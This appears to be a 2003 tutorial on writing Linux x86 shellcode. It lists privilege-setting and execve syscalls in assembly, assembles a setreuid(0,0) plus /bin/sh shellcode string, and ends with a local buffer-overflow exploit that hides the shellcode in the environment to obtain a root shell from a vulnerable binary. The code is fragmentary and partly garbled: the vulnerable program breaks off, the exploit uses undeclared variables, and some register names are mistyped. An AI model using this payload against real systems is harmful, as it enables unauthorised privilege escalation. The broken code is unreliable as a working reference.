
Author: |
posidron |
Contact: |
posidron@tripbit.org |
Website: |
tripbit.org |
Date: |
Aug., 23th 2003 |
| Table of contents |
| 0.
Environment 1. System calls 1.1 setuid 1.2 setgid 1.3 setreuid 1.4 setregid 1.5 setresuid 1.6 setresgid 1.7 execv 1.8 exit 2. exit() bytecode 3. setreuid() bytecode 4. execv() bytecode 5. Buffer overflow example 6. Buffer overflow exploit 7. Bibliography |
| Environment | |
| Kernel: | Linux 2.4.20-8 |
| Compiler: | gcc 3.2.2 |
| Debugger: | gdb 5.3post-0.20021129.18rh |
| Hooker: | strace 4.4 |
| setuid(0); - set user id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setuid | kernel/sys.c | 23 | uid_t | ||
| xor
%ebx, %ebx mov $0x17, %eax int $0x80 |
argument
1, set ebx register to 0 (user_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| setgid(0); - set group id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setgid | kernel/sys.c | 46 | gid_t | ||
| xor
%ebx, %ebx mov $0x2e, %eax int $0x80 |
argument
1, set ebx register to 0 (group_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| setreuid(0,0); - set real and effective user id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setreuid | kernel/sys.c | 70 | uid_t | uid_t | |
| xor
%ebx, %ebx xor %ecx, %ecx mov $0x46, %eax int $0x80 |
argument
2, set ebx register to 0 (reale_user_id) argument 1, set ecx register to 0 (effective_user_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| setregid(0,0); - set real and effective group id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setregid | kernel/sys.c | 71 | gid_t | gid_t | |
| xor
%ebx, %ebx xor %ecx, %ecx mov $0x47, %eax int $0x80 |
argument
2, set ebx register to 0 (reale_group_id) argument 1, set ecx register to 0 (effective_group_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| setresuid(0,0,0); - set real, effective and saved user id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setresuid | kernel/sys.c | 164 | uid_t | uid_t | uid_t |
| xor
%ebx, %ebx xor %ecx, %ecx xor %edx, %ed mov $0xA4,%eax int $0x80 |
argument
3, set ebx register to 0 (reale_user_id) argument 2, set ecx register to 0 (effective_user_id) argument 1, set edx register to 0 (saved_user_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| setresgid(0,0,0); - set real, effective and saved group id | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_setresgid | kernel/sys.c | 170 | gid_t | gid_t | gid_t |
| xor
%ebx, %ebx xor %ecx, %exc xor %edx, %edx mov $0xAA, %eax int $0x80 |
argument
3, set ebx register to 0 (reale_group_id) argument 2, set ecx register to 0 (effective_group_id) argument 1, set edx register to 0 (saved_group_id) copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| execve(); | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_execve | i386/kernel/process.c | 11 | struct pt_regs | ||
| xor
%eax, %eax push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx xor %edx, %edx mov $0xb,%eax int $0x80 |
set eax register to 0 push eax on the stack push //sh on the stack push /bin on the stack wrote the starting address of string to ebx register terminate the **argv create char **argv write the address to ecx register set edx register to 0 move syscall(converted to hex) to eax register interupt to execute syscall |
||||
| exit(0); | |||||
| Name | Source | %eax | %ebx | %ecx | %edx |
| sys_exit | kernel/exit.c | 1 | int | ||
| xor
%ebx, %ebx mov $0x1, %eax int $0x80 |
argument
1, set ebx register to 0 copy syscall(converted to hex) to eax register interupt to execute syscall |
||||
| exit_asm.c |
|
int main (void) { __asm__(" xor %eax, %eax // clear %eax for this syscall xor %ebx, %ebx mov $0x1, %al // instead of %eax to erease the 0 bytes int $0x80 "); } |
| setreuid_asm.c |
|
int main (void) { __asm__(" xor %eax, %eax // clear %eax for this syscall xor %ebx, %ebx xor %ecx, %ecx mov $0x46, %al // instead of %eax to erease the 0 bytes int $0x80 "); } |
| execv_asm.c |
|
int main (void) { __asm__(" xor %eax, %eax // clear %eax for this syscall push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx mov $0xb,%al // instead of %eax to erease the 0 bytes int $0x80 "); |
| Summary |
|
#include <stdio.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" /* setreuid(0,0); */ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" /* execv */ "\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"; /* exit(0); */ int main (void) { void (*t) (void); t = (void*)shellcode; fprintf(stdout, "Size: %d bytes.\n", sizeof(shellcode)); t(); return 0; } |
| Vulnerable program |
|
#include <stdio.h> #define MAX_SIZE 128 int main (int argc,
char **argv) { if (argc
>= 1) { |
| Exploit |
| #include
<stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char shell[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31" "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"; #define BINARY "./vuln" int main (int argc,
char **argv) { memset(tmp,
'X', 1032); tmp[1014] = (xaddr & 0x0000ff00) >> 8; tmp[1015] = (xaddr & 0x00ff0000) >> 16; tmp[1016] = (xaddr & 0xff000000) >> 24; tmp[1017] = '\0'; cmd[0] = BINARY; env[0] = shell; execve(cmd[0], cmd, env); return
-1; |